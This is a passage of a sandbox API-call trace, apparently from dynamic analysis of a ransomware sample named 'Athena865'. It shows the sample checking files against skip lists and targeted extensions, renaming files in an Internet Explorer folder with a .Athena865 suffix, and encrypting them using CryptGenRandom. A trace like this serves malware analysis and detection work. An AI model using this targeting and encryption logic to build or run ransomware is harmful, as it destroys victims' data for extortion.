[0064.981] lstrlenW (lpString=".sys") returned 4 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".sys") returned 1 [0064.981] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0064.981] lstrlenW (lpString="bak") returned 3 [0064.981] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0064.981] lstrlenW (lpString="ba_") returned 3 [0064.981] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0064.982] lstrlenW (lpString="dbb") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0064.982] lstrlenW (lpString="vmdk") returned 4 [0064.982] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0064.982] lstrlenW (lpString="rar") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0064.982] lstrlenW (lpString="zip") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0064.982] lstrlenW (lpString="tgz") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0064.982] lstrlenW (lpString="vbox") returned 4 [0064.982] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0064.982] lstrlenW (lpString="vdi") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0064.982] lstrlenW (lpString="vhd") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0064.982] lstrlenW (lpString="vhdx") returned 4 [0064.982] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0064.982] lstrlenW (lpString="avhd") returned 4 [0064.982] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0064.982] lstrlenW (lpString="db") returned 2 [0064.982] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0064.982] lstrlenW (lpString="db2") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0064.982] lstrlenW (lpString="db3") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0064.982] lstrlenW (lpString="dbf") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0064.982] lstrlenW (lpString="mdf") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0064.982] lstrlenW (lpString="mdb") returned 3 [0064.982] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0064.983] lstrlenW (lpString="sql") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0064.983] lstrlenW (lpString="sqlite") returned 6 [0064.983] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0064.983] lstrlenW (lpString="sqlite3") returned 7 [0064.983] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0064.983] lstrlenW (lpString="sqlitedb") returned 8 [0064.983] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0064.983] lstrlenW (lpString="xml") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0064.983] lstrlenW (lpString="$er") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0064.983] lstrlenW (lpString="4dd") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0064.983] lstrlenW (lpString="4dl") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0064.983] lstrlenW (lpString="^^^") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0064.983] lstrlenW (lpString="abs") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0064.983] lstrlenW (lpString="abx") returned 3 [0064.983] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0064.983] lstrlenW (lpString="accdb") returned 5 [0064.983] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0064.983] lstrlenW (lpString="accdc") returned 5 [0064.983] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0064.983] lstrlenW (lpString="accde") returned 5 [0064.983] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0064.983] lstrlenW (lpString="accdr") returned 5 [0064.983] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0064.983] lstrlenW (lpString="accdt") returned 5 [0064.983] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0064.984] lstrlenW (lpString="accdw") returned 5 [0064.984] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0064.984] lstrlenW (lpString="accft") returned 5 [0064.984] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0064.984] lstrlenW (lpString="adb") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.984] lstrlenW (lpString="adb") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.984] lstrlenW (lpString="ade") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0064.984] lstrlenW (lpString="adf") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0064.984] lstrlenW (lpString="adn") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0064.984] lstrlenW (lpString="adp") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0064.984] lstrlenW (lpString="alf") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0064.984] lstrlenW (lpString="ask") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0064.984] lstrlenW (lpString="btr") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0064.984] lstrlenW (lpString="cat") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0064.984] lstrlenW (lpString="cdb") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0064.984] lstrlenW (lpString="ckp") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0064.984] lstrlenW (lpString="cma") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0064.984] lstrlenW (lpString="cpd") returned 3 [0064.984] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0064.985] lstrlenW (lpString="dacpac") returned 6 [0064.985] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0064.985] lstrlenW (lpString="dad") returned 3 [0064.985] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0064.985] lstrlenW (lpString="dadiagrams") returned 10 [0064.985] lstrcmpiW (lpString1="ol.dll.mui", lpString2="dadiagrams") returned 1 [0064.985] lstrlenW (lpString="daschema") returned 8 [0064.985] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0064.985] lstrlenW (lpString="db-journal") returned 10 [0064.985] lstrcmpiW (lpString1="ol.dll.mui", lpString2="db-journal") returned 1 [0064.985] lstrlenW (lpString="db-shm") returned 6 [0064.985] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0064.985] lstrlenW (lpString="db-wal") returned 6 [0064.985] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0064.985] lstrlenW (lpString="dbc") returned 3 [0064.985] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0064.985] lstrlenW (lpString="dbs") returned 3 [0064.985] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0064.985] lstrlenW (lpString="dbt") returned 3 [0064.985] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0064.985] lstrlenW (lpString="dbv") returned 3 [0064.985] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0064.985] lstrlenW (lpString="dbx") returned 3 [0064.985] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0064.985] lstrlenW (lpString="dcb") returned 3 [0064.985] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0064.986] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui.Athena865") returned 67 [0064.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui.athena865"), dwFlags=0x1) returned 1 [0064.991] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0064.991] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28672) returned 1 [0064.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.991] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.992] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.992] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.992] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7300, lpName=0x0) returned 0x154 [0064.995] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7300) returned 0x100000 [0064.996] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.997] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.997] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.998] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.998] CloseHandle (hObject=0x154) returned 1 [0064.998] CloseHandle (hObject=0x17c) returned 1 [0064.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.998] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0064.998] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="windows") returned -1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="bootmgr") returned 1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="temp") returned -1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="pagefile.sys") returned -1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="boot") returned 1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="ids.txt") returned 1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="ntuser.dat") returned -1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="perflogs") returned -1 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="MSBuild") returned -1 [0064.999] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0064.999] lstrcpyW (in: lpString1=0x241e89a, lpString2="ieinstal.exe.mui" | out: lpString1="ieinstal.exe.mui") returned="ieinstal.exe.mui" [0064.999] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0064.999] lstrlenW (lpString="Athena865") returned 9 [0064.999] lstrcmpiW (lpString1="l.exe.mui", lpString2="Athena865") returned 1 [0064.999] lstrlenW (lpString=".dll") returned 4 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".dll") returned 1 [0064.999] lstrlenW (lpString=".lnk") returned 4 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".lnk") returned 1 [0064.999] lstrlenW (lpString=".ini") returned 4 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".ini") returned 1 [0064.999] lstrlenW (lpString=".sys") returned 4 [0064.999] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".sys") returned 1 [0064.999] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0064.999] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.Athena865") returned 67 [0064.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.athena865"), dwFlags=0x1) returned 1 [0065.000] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0065.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.001] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.001] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.002] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.002] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0065.006] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0065.007] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.007] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.007] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.008] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.008] CloseHandle (hObject=0x154) returned 1 [0065.008] CloseHandle (hObject=0x17c) returned 1 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.009] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="windows") returned -1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="bootmgr") returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="temp") returned -1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="pagefile.sys") returned -1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="boot") returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="ids.txt") returned 1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="ntuser.dat") returned -1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="perflogs") returned -1 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="MSBuild") returned -1 [0065.009] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0065.009] lstrcpyW (in: lpString1=0x241e89a, lpString2="ielowutil.exe.mui" | out: lpString1="ielowutil.exe.mui") returned="ielowutil.exe.mui" [0065.009] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0065.009] lstrlenW (lpString="Athena865") returned 9 [0065.009] lstrcmpiW (lpString1="l.exe.mui", lpString2="Athena865") returned 1 [0065.009] lstrlenW (lpString=".dll") returned 4 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".dll") returned 1 [0065.009] lstrlenW (lpString=".lnk") returned 4 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".lnk") returned 1 [0065.009] lstrlenW (lpString=".ini") returned 4 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".ini") returned 1 [0065.009] lstrlenW (lpString=".sys") returned 4 [0065.009] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".sys") returned 1 [0065.009] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0065.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui.Athena865") returned 68 [0065.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui.athena865"), dwFlags=0x1) returned 1 [0065.010] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.011] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0065.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.011] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.012] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.012] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.012] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0065.013] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0065.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.015] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.015] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.015] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.016] CloseHandle (hObject=0x154) returned 1 [0065.016] CloseHandle (hObject=0x17c) returned 1 [0065.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.016] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="windows") returned -1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="bootmgr") returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="temp") returned -1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="pagefile.sys") returned -1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="boot") returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="ids.txt") returned 1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="ntuser.dat") returned -1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="perflogs") returned -1 [0065.016] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="MSBuild") returned -1 [0065.016] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0065.016] lstrcpyW (in: lpString1=0x241e89a, lpString2="iexplore.exe.mui" | out: lpString1="iexplore.exe.mui") returned="iexplore.exe.mui" [0065.016] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0065.016] lstrlenW (lpString="Athena865") returned 9 [0065.017] lstrcmpiW (lpString1="e.exe.mui", lpString2="Athena865") returned 1 [0065.017] lstrlenW 